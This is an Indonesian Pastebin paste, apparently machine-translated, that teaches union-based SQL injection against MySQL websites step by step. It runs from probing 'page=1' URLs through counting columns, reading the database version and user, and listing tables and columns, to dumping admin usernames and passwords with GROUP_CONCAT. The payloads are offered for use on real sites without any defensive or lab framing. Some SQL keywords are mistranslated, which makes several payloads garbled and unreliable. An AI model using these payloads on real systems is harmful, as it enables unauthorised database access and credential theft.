Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- *Detect SQL Vuln
- Serangan SQL Injection adalah kode suntikan yang mengeksploitasi lapisan database dari aplikasi. Hal ini paling sering database MySQL, tapi ada teknik untuk melakukan serangan ini dalam database lain seperti Oracle. Dalam tutorial ini saya akan menunjukkan langkah-langkah untuk melaksanakan serangan terhadap sebuah database MySQL.
- Langkah 1:
- Ketika pengujian website untuk kerentanan SQL Injection, Anda perlu menemukan sebuah halaman yang terlihat seperti ini:
- www.site.com/page=1
- atau
- www.site.com/id=5
- Pada dasarnya situs harus memiliki = maka nomor atau string, tetapi yang paling umum nomor. Setelah Anda telah menemukan halaman seperti ini, kita menguji untuk kerentanan hanya dengan memasukkan "setelah nomor di url. Sebagai contoh:
- www.site.com/page=1 '
- Jika database rentan, halaman yang akan melepaskan suatu kesalahan MySQL seperti;
- Peringatan: mysql_num_rows (): argumen yang diberikan bukanlah sebuah hasil resource MySQL yang valid di / home / wwwprof / public_html / readnews.php on line 29
- Jika halaman beban sebagai normal maka database tidak rentan, dan website ini tidak rentan terhadap SQL Injection.
- Langkah 2
- Sekarang kita perlu menemukan jumlah kolom serikat dalam database. Kita ini menggunakan "order by" perintah. Kami melakukan ini dengan memasukkan "order by 1 -", "order by 2 -" dan seterusnya sampai kita menerima kesalahan halaman. Sebagai contoh:
- www.site.com/page=1 order by 1 -
- http://www.site.com/page=1 order by 2 -
- http://www.site.com/page=1 order by 3 -
- http://www.site.com/page=1 order by 4 -
- http://www.site.com/page=1 order by 5 -
- Jika kita menerima lagi kesalahan MySQL di sini, maka itu berarti kita memiliki 4 kolom. Jika situs errored pada "order by 9" maka kita akan memiliki 8 kolom. Jika ini tidak berhasil, bukan - setelah nomor tersebut, ganti dengan / *, karena mereka adalah dua prefiks perbedaan dan jika salah satu bekerja yang lainnya cenderung tidak terlalu. Ini tergantung pada cara database dikonfigurasi sebagai awalan yang digunakan.
- Langkah 3
- Kami sekarang akan menggunakan "serikat" perintah untuk menemukan kolom rentan. Jadi kami masuk setelah url, serikat semua pilih (jumlah kolom) -,
- misalnya:
- www.site.com/page=1 serikat semua pilih 1,2,3,4 -
- Inilah yang kita akan masuk jika kita memiliki 4 kolom. Jika Anda memiliki 7 kolom Anda akan menempatkan, serikat semua pilih 1,2,3,4,5,6,7 - Jika hal ini dilakukan berhasil halaman harus menunjukkan beberapa nomor di suatu tempat pada halaman. Sebagai contoh, 2 dan 3. Ini berarti kolom 2 dan 3 adalah rentan.
- Langkah 4
- Sekarang kita perlu menemukan versi database, nama dan user. Kami melakukan hal ini dengan mengganti nomor kolom rentan dengan perintah berikut:
- pengguna ()
- Database ()
- versi ()
- atau jika ini nggak usaha berusaha ...
- @ @ Pengguna
- @ @ Version
- @ @ Basis data
- Sebagai contoh url akan terlihat seperti:
- www.site.com/page=1 serikat semua versi pilih 1, user (), () ,4 -
- Halaman yang dihasilkan kemudian akan menunjukkan pengguna database dan kemudian versi MySQL. Misalnya admin @ localhost dan MySQL 5.0.83.
- PENTING: Jika versi adalah 5 dan di atas baca terus untuk melakukan serangan, jika itu adalah 4 dan di bawah, Anda harus brute force atau menebak meja dan nama kolom, program dapat digunakan untuk melakukan hal ini.
- Langkah 5
- Pada langkah ini tujuan kami adalah untuk membuat daftar semua nama tabel dalam database. Untuk melakukan ini kita masukkan perintah berikut setelah url.
- UNION SELECT 1, table_name, 3,4 DARI information_schema.tables--
- Jadi url akan terlihat seperti:
- www.site.com/page=1 UNION SELECT 1, table_name, 3,4 DARI information_schema.tables--
- Ingat "nama_tabel" pergi dalam jumlah kolom rentan Anda temukan sebelumnya. Jika perintah ini dimasukkan dengan benar, halaman harus menampilkan semua tabel dalam database, sehingga mencari tabel yang mungkin berisi informasi yang berguna seperti password, sehingga mencari tabel admin atau anggota atau tabel pengguna.
- Langkah 6
- Pada Langkah ini kita ingin daftar semua nama kolom dalam database, untuk melakukan hal ini kita menggunakan perintah berikut:
- 1,2 serikat semua pilih, GROUP_CONCAT (column_name), 4 dari INFORMATION_SCHEMA.COLUMNS mana table_schema = database () -
- Jadi url akan terlihat seperti ini:
- www.site.com/page=1 serikat semua pilih 1,2, GROUP_CONCAT (column_name), 4 dari INFORMATION_SCHEMA.COLUMNS mana table_schema = database () -
- Perintah ini membuat halaman meludahkan SEMUA nama kolom dalam database. Jadi sekali lagi, mencari nama-nama menarik seperti pengguna, email dan password.
- Langkah 7
- Akhirnya kita perlu membuang data, sehingga katakanlah kita ingin mendapatkan "username" dan "password" bidang, dari tabel "admin" kita akan menggunakan perintah berikut,
- 1,2 serikat semua pilih, GROUP_CONCAT (username, 0x3a, password), 4 dari admin -
- Jadi url akan terlihat seperti ini:
- www.site.com/page=1 serikat semua pilih 1,2, GROUP_CONCAT (username, 0x3a, password), 4 dari admin -
- Di sini "concat" perintah cocok sampai username dengan password sehingga Anda tidak perlu menebak, jika perintah ini berhasil maka Anda harus disajikan dengan halaman penuh nama pengguna dan password dari website..
Advertisement
Add Comment
Please, Sign In to add comment